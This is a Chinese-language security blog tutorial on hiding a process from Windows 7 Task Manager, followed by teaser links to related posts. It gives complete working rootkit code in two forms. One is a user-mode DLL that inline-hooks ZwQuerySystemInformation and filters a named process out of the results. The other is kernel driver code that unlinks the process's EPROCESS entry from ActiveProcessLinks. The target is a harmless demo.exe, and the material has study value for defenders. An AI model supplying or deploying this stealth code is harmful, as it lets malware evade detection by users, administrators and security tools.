进程隐藏技术

VSole2021-12-08 16:44:25

次实现是在WIN7 X86系统上进行,实验要达到的目的就是实现进程的隐藏,以让任务管理器查不到要隐藏的进程。这里要隐藏的程序是一个简单的HelloWord弹窗程序,程序名是demo.exe。

用户层的进程隐藏技术

1、实现原理

用户层的进程隐藏的实现主要是通过HOOK任务管理器的ZwQuerySystemInformation函数。之所以是这个函数,是因为无论是通过EnumProcess函数还是CreateToolhelp32Snapshot函数来查询进程,它们最终都会调用ntdll.dll中的ZwQuerySystemInformation函数来实现功能。

所以只要采用DLL注入技术,将DLL注入到要HOOK的进程中,并在DLL加载的时候执行HOOK ZwQuerySystemInformation函数就可以实现进程隐藏。关于如何实现DLL注入请参考这篇常见的几种DLL注入技术。而对ZwQuerySystemInformation的HOOK采取的是Inline Hook的技术。如何实现Inline Hook请参考这篇内核层的三种HOOK技术。

在IDA中可以看到ZwQuerySystemInformation的实现如下。由于它最开始的五个字节是为eax赋值调用号,所以其实可以根据热补丁的思想,对这五个字节进行HOOK。然后在HOOK完要执行的函数里面对eax进行重新赋值以后在跳转到下一行代码也就是mov edx,0x7FFE0300进行执行。

由于之前写过热补丁技术,这里的话就用传统的HOOK步骤。

① 使用GetProcAddress函数获取要HOOK的函数的地址,并将其保存。

② 修改前五字节的页属性为可读可写可执行。

③ 将这五个字节读出来备份起来。

④ 计算从需要跳转的大小,公式是:要跳转的目的地址-(HOOK的函数的地址 + 5)。

⑤ 将计算好距离的跳转指令写入函数的这五个字节。

⑥ 还原页属性。

UnHook则非常简单:

① 判断函数是否被HOOK。

② 修改函数地址页属性为可读可写可执行。

③ HOOK的时候保存的五个字节写回到函数地址。

④ 恢复函数地址页属性。

在完成HOOK以后执行的函数内部就需要以下的步骤来让程序正常运行:

① 首先调用UnHook将函数恢复。

② 调用原函数获取返回结果,将要隐藏的进程隐藏掉。

③ 再次对程序进行HOOK操作。

至于要如何将进程隐藏起来,就需要首先看看ZwQuerySystemInformation在文档中的定义了。

NTSTATUS WINAPI ZwQuerySystemInformation(
  __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
  __inout    PVOID SystemInformation,
  __in       ULONG SystemInformationLength,
  __out_opt  PULONG ReturnLength);

参数

说明

SystemInformationClass

要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体

SystemInformation

指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass

SystemInformationLength

SystemInformation参数指向的缓冲区的大小

ReturnLength

一个可选指针,指向函数写入请求信息的实际大小的位置

而SYSTEM_INFORMATION_CLASS,在文档中的定义如下:

typedef enum _SYSTEM_INFORMATION_CLASS {    SystemBasicInformation = 0,    SystemPerformanceInformation = 2,    SystemTimeOfDayInformation = 3,    SystemProcessInformation = 5,    SystemProcessorPerformanceInformation = 8,    SystemInterruptInformation = 23,    SystemExceptionInformation = 33,    SystemRegistryQuotaInformation = 37,    SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;

当它指定为SystemProcessInformation(0x5)的时候,就表示要检索系统的进程信息。函数将会得到所有的进程信息并把这些得到的进程信息的内容保存到SYSTEM_PROCESS_INFORMATION结构数组,数组中的每一个元素都代表了一个进程信息。而数组的首地址将会保存到第二个参数SystemInformation中。

而SYSTEM_PROCESS_INFORMATION在文档中的定义如下:

typedef struct _SYSTEM_PROCESS_INFORMATION {    ULONG NextEntryOffset;    BYTE Reserved1[52];    PVOID Reserved2[3];    HANDLE UniqueProcessId;    PVOID Reserved3;    ULONG HandleCount;    BYTE Reserved4[4];    PVOID Reserved5[11];    SIZE_T PeakPagefileUsage;    SIZE_T PrivatePageCount;    LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

其中的NextEntryOffset代表的是下一个SYSTEM_PROCESS_INFORMATION元素距离现在这个SYSTEM_PROCESS_INFORMATION元数的偏移。

而UniqueProcessId就是查询到的这个进程的PID。根据它就可以找到要隐藏的进程,并将它从这个结构体数组中断开,也就是要隐藏进程的SYSTEM_PROCESS_INFORMATION的上一个元数的NextEntryOffset加上当前SYSTEM_PROCESS_INFORMATION的NextEntryOffset。具体代码实现如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include #include #include #include  #define HIDE_PROCESS_NAME "demo.exe"  //要隐藏的进程名 typedefNTSTATUS(WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,                                      PVOID SystemInformation,                                      ULONG SystemInformationLength,                                      PULONG ReturnLength);  //HOOK以后要执行的函数NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,                                           PVOID SystemInformation,                                           ULONG SystemInformationLength,                                           PULONG ReturnLength);BOOL Hook();BOOL UnHook();VOID ShowError(PCHAR msg);DWORD WINAPI ThreadProc(LPVOID lpParameter);DWORD GetPid(PCHAR pProName); //根据进程名获取要隐藏的进程的PID DWORD g_dwOrgAddr = 0;   //原函数地址CHAR g_szOrgBytes[5] = { 0 };  //保存函数的前五个字节DWORD g_dwHidePID = 0;   //要隐藏的进程的PID BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:        {            HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);            if (hThread) CloseHandle(hThread);            break;        }        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }    return TRUE;} BOOL Hook(){    BOOL bRet = TRUE;    HMODULE hNtDll = NULL;    pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;    BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 };    //写入跳转指令的五字节    DWORD dwOldProtect = 0;  //保存原来的页属性     hNtDll = LoadLibrary("ntdll.dll");    if (hNtDll == NULL)    {        ShowError("LoadLibrary");        bRet = FALSE;        goto exit;    }     //获取函数地址    ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation");    if (ZwQuerySystemInformation == NULL)    {        ShowError("GetProcAddress");        bRet = FALSE;        goto exit;    }     //保存HOOK函数的地址    g_dwOrgAddr = (DWORD)ZwQuerySystemInformation;     //修改页属性是可读可写可执行    if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect))    {        ShowError("VirtualProtect");        bRet = FALSE;        goto exit;    }     //将原来的五个字节内容保存    if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))    {        ShowError("ReadProcessMemory");        bRet = FALSE;        goto exit;    }     //计算要跳转的长度    *(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5);    //将shellcode写入    if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL))    {        ShowError("WriteProcessMemory");        bRet = FALSE;        goto exit;    }     //还原页属性    if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect))    {        ShowError("VirtualProtect");        bRet = FALSE;        goto exit;    }exit:    return bRet;} BOOL UnHook(){    BOOL bRet = TRUE;    DWORD dwOldProtect = 0;  //保存页属性     if (g_dwOrgAddr == 0)    {        MessageBox(NULL, TEXT("函数还未HOOK"), TEXT("Error"), MB_OK);        bRet = FALSE;        goto exit;    }     //修改页属性为可读可写可执行    if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect))    {        ShowError("VirtualProtect");        bRet = FALSE;        goto exit;    }     //将函数中原来的内容恢复回去    if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))    {        ShowError("WriteProcessMemory");        bRet = FALSE;        goto exit;    }     //将页属性恢复    if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect))    {        ShowError("VirtualProtect");        bRet = FALSE;        goto exit;    }     g_dwOrgAddr = 0;    memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));exit:    return bRet;}  NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,                                            PVOID SystemInformation,                                            ULONG SystemInformationLength,                                            PULONG ReturnLength){    NTSTATUS status = 0;    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;    DWORD dwOrgFuncAddr = 0;          //获取函数地址    dwOrgFuncAddr = g_dwOrgAddr;     //卸载HOOK    if (!UnHook())    {        MessageBox(NULL, TEXT("UnHook失败"), TEXT("Error"), MB_OK);        goto exit;    }     status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);         //判断函数是否调用成功,以及是否是查询进程的操作    if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)    {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while (TRUE)        {            //判断是否是要隐藏的进程            if (g_dwHidePID == (DWORD)pCur->UniqueProcessId)            {                //将进程隐藏起来                if (pPrev == NULL)   SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset;                else if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0;                else pPrev->NextEntryOffset += pCur->NextEntryOffset;                break;            }            else pPrev = pCur;             //如果没有下一个成功则退出             if (pCur->NextEntryOffset == 0) break;                     //将指针指向下一个成员            pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);        }    }    //重新HOOK    if (!Hook()) MessageBox(NULL, TEXT("Hook失败"), TEXT("Error"), MB_OK);exit:    return status;} DWORD WINAPI ThreadProc(LPVOID lpParameter){    g_dwHidePID = GetPid(HIDE_PROCESS_NAME);     if (g_dwHidePID == 0)    {        MessageBox(NULL, TEXT("没有找到要隐藏的进程"), TEXT("Error"), MB_OK);    }    else    {        if (!Hook())        {            MessageBox(NULL, TEXT("Hook 失败"), TEXT("Error"), MB_OK);        }        else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK);    }      return 0;} DWORD GetPid(PCHAR pProName){    PROCESSENTRY32 pe32 = { 0 };    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    BOOL bRet = FALSE;     if (hSnap == INVALID_HANDLE_VALUE)    {        printf("CreateToolhelp32Snapshot process %d", GetLastError());        return 0;    }     pe32.dwSize = sizeof(pe32);    bRet = Process32First(hSnap, &pe32);    while (bRet)    {        if (lstrcmp(pe32.szExeFile, pProName) == 0)        {            return pe32.th32ProcessID;        }        bRet = Process32Next(hSnap, &pe32);    }     CloseHandle(hSnap);     return 0;} VOID ShowError(PCHAR msg){    CHAR szError[105] = { 0 };     sprintf(szError, "%s Error %d", msg, GetLastError());    MessageBox(NULL, szError, TEXT("Error"), MB_OK);}

2.运行结果

在实现注入HOOK函数之前可以看到任务管理器可以查看到打开的demo.exe进程。

完成注入,HOOK成功之后就看不到了。

内核层的进程隐藏技术

1、实现原理

在内核中每一个进程都有对应的一个EPROCESS结构体,在Windows7下这个结构体中的部分成员如下,其中0x16C保存了进程名字的指针。通过这个指针可以获得当前EPROCESS表示的是哪一个进程。

3: kd> dt _EPROCESSnt!_EPROCESS   +0x000 Pcb              : _KPROCESS   +0x098 ProcessLock      : _EX_PUSH_LOCK   +0x0a0 CreateTime       : _LARGE_INTEGER   +0x0a8 ExitTime         : _LARGE_INTEGER   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF   +0x0b4 UniqueProcessId  : Ptr32 Void   +0x0b8 ActiveProcessLinks : _LIST_ENTRY    //进程链表   +0x0c0 ProcessQuotaUsage : [2] Uint4B   +0x0c8 ProcessQuotaPeak : [2] Uint4B   +0x0d0 CommitCharge     : Uint4B   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK   +0x0dc PeakVirtualSize  : Uint4B   +0x0e0 VirtualSize      : Uint4B   +0x0e4 SessionProcessLinks : _LIST_ENTRY   +0x0ec DebugPort        : Ptr32 Void   +0x0f0 ExceptionPortData : Ptr32 Void   +0x0f0 ExceptionPortValue : Uint4B   +0x0f0 ExceptionPortState : Pos 0, 3 Bits   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE   +0x0f8 Token            : _EX_FAST_REF   +0x0fc WorkingSetPage   : Uint4B   +0x100 AddressCreationLock : _EX_PUSH_LOCK   +0x104 RotateInProgress : Ptr32 _ETHREAD   +0x108 ForkInProgress   : Ptr32 _ETHREAD   +0x10c HardwareTrigger  : Uint4B   +0x110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE   +0x114 CloneRoot        : Ptr32 Void   +0x118 NumberOfPrivatePages : Uint4B   +0x11c NumberOfLockedPages : Uint4B   +0x120 Win32Process     : Ptr32 Void   +0x124 Job              : Ptr32 _EJOB   +0x128 SectionObject    : Ptr32 Void   +0x12c SectionBaseAddress : Ptr32 Void   +0x130 Cookie           : Uint4B   +0x134 Spare8           : Uint4B   +0x138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY   +0x13c Win32WindowStation : Ptr32 Void   +0x140 InheritedFromUniqueProcessId : Ptr32 Void   +0x144 LdtInformation   : Ptr32 Void   +0x148 VdmObjects       : Ptr32 Void   +0x14c ConsoleHostProcess : Uint4B   +0x150 DeviceMap        : Ptr32 Void   +0x154 EtwDataSource    : Ptr32 Void   +0x158 FreeTebHint      : Ptr32 Void   +0x160 PageDirectoryPte : _HARDWARE_PTE   +0x160 Filler           : Uint8B   +0x168 Session          : Ptr32 Void   +0x16c ImageFileName    : [15] UChar    //指向进程的名称   +0x17b PriorityClass    : UChar   +0x17c JobLinks         : _LIST_ENTRY   +0x184 LockedPagesList  : Ptr32 Void   +0x188 ThreadListHead   : _LIST_ENTRY

其中偏移0xB8的ActiveProcesssLinks是一个LIST_ENTRY的链表,它在文档中的定义如下:

typedef struct _LIST_ENTRY {   struct _LIST_ENTRY *Flink;    //指向下一个EPROCESS的ActiveProcessLinks   struct _LIST_ENTRY *Blink;    //指向上一个EPROCESS的ActiveProcessLinks} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

这是一个双向链表,通过这个链表就可以遍历系统中的所有进程。而用户层通过API查看进程的时候,就是通过这个链表来查找进程的内容。所以只要在内核中将相应进程从这个链表中断链就可以实现进程隐藏。但是要注意这个链表的中的成员指向的是另一个EPROCESS的ActiveProcessLinks,如下图所示。所以要获得这个进程的EPROCESS还需要减去0xB8。

具体实现的代码如下:

VOID HideProcess(){    PEPROCESS pCurPro = NULL, pPrevPro = NULL;    PCHAR pImageFileName = NULL;    PLIST_ENTRY pListEntry = NULL;     //获取当前进程的EPROCESS    pCurPro = PsGetCurrentProcess();    pPrevPro = pCurPro;    do     {        //获取EPROCESS的进程名        pImageFileName = (PCHAR)pCurPro + 0x16C;        //是否是要隐藏的进程        if (strcmp(pImageFileName, "demo.exe") == 0)        {            //对进程进行断链操作            pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8);            pListEntry->Blink->Flink = pListEntry->Flink;            pListEntry->Flink->Blink = pListEntry->Blink;            DbgPrint("进程%s隐藏成功\r", pImageFileName);        }        pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8);    } while (pCurPro != pPrevPro);}

2、运行结果

驱动加载前可以看到任务管理器可以正常查到运行的demo.exe进程。

而当驱动启动,执行了隐藏进程代码以后,在任务管理器中就看不到demo.exe了。

dword
本作品采用《CC 协议》,转载必须注明作者和本文链接
EXP编写学习之绕过GS
2023-02-20 09:58:16
栈中的守护天使 :GSGS原理向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。函数使用无保护的关键字标记。缓冲区不是8字节类型 且 大小不大于4个字节。可以为函数强制启用GS。
0x01 进程遍历因为进程是在随时进行变动的所以我们需要获取一张快照1.1 CreateToolhelp32
MITM Fuzz下图是用户层与内核层实现通信的过程,可以看到,最后是通过NtDeviceIoControlFile来分发给相应驱动对象的派遣函数的,因此,可以通过对该函数进行HOOK操作。如果将修改以后的数据发送给NtDeviceIoControlFile函数以后,发生了内核崩溃或蓝屏,往往预示着该驱动程序可能存在内核漏洞。
windows下利用cmd开启3389端口
Hex Comparison注册分析
2023-10-12 10:49:49
在学习Flexlm ECC patch过程中,需要对比下别人patch的exe和原本exe的差异,使用到这款Hex Comparison这款二进制比较工具。那么就先来学习一下这款软件的注册机制。
如果成功连接到管道, 使用WriteFile函数将shellcode数据写入已连接的命名管道。使用IDA分析检查导出函数:第一个是反射式DLL注入,限于篇幅,在本篇中不展开分析第二个是DLL的入口函数。在后续的文章中,会根据检测特征和csprofile的绕过按照专题进行分析。同时,大部分的CS检测特征都是在此。而在后续的文章分析中,将会着重的分析CS beacon中使用到的几种DLL注入方式;beacon config的检测;同时结合CS profile 的配置,研究一下CS的对抗检测方式。
x32TLS回调函数实验
2023-05-31 09:34:55
TLS回调函数介绍TLS回调函数是在程序运行时由操作系统自动调用的一组函数,用于在进程加载和卸载时执行一些初始化和清理操作。在TLS回调函数中,可以访问当前线程的TLS数据,并对其进行修改或检查。值得一提的是TLS回调可以用来反调试,原理实为在实际的入口点代码执行之前执行检测调试器代码。为了栈平衡,我们要把传进这个回调函数的参数所占用的
进来之后,我们就可以在攻击机上面控制win7靶机了,先查看开放的端口有没有3389.3、命令行打开3389远程连接端口netstat -an. 显示successful,再次确认查看远程连接端口是否开启:netstat -an|find "3389". 现在分别讲讲各自的用法吧:5.1、xfreerdp工具①首先是xfreerdp的,命令格式如下:很容易理解,/u就是用户名,/p是密码,/v是靶机(目标)的地址 /size就是图形化界面的大小而已。输入y按下回车,等待界面出现5.2、xfreerdp工具②然后是rdesktop,命令格式很简单:rdesktop 192.168.25.132
概述在windows系统上,涉及到内核对象的功能函数,都需要从应用层权限转换到内核层权限,然后再执行想要的内核函数,最终将函数结果返回给应用层。本文就是用OpenProcess函数来观察函数从应用层到内核层的整体调用流程。OpenProcess函数,根据指定的进程ID,返回进程句柄。NTSTATUS Status; //保存函数执行状态。OBJECT_ATTRIBUTES Obja; //待打开对象的对象属性。HANDLE Handle; //存储打开的句柄。CLIENT_ID ClientId; //进程、线程ID. dwDesiredAccess, //预打开进程并获取对应的权限。ObjectNamePresent = ARGUMENT_PRESENT ; //判断对象名称是否为空
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA。漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。tagWINDOWSTATIONspklList对象的结构为:漏洞触发验证查看SSDT表dd KeServiceDescriptorTabledds Address L11C 显示地址里面值指向的地址. 以4个字节显示。
VSole
网络安全专家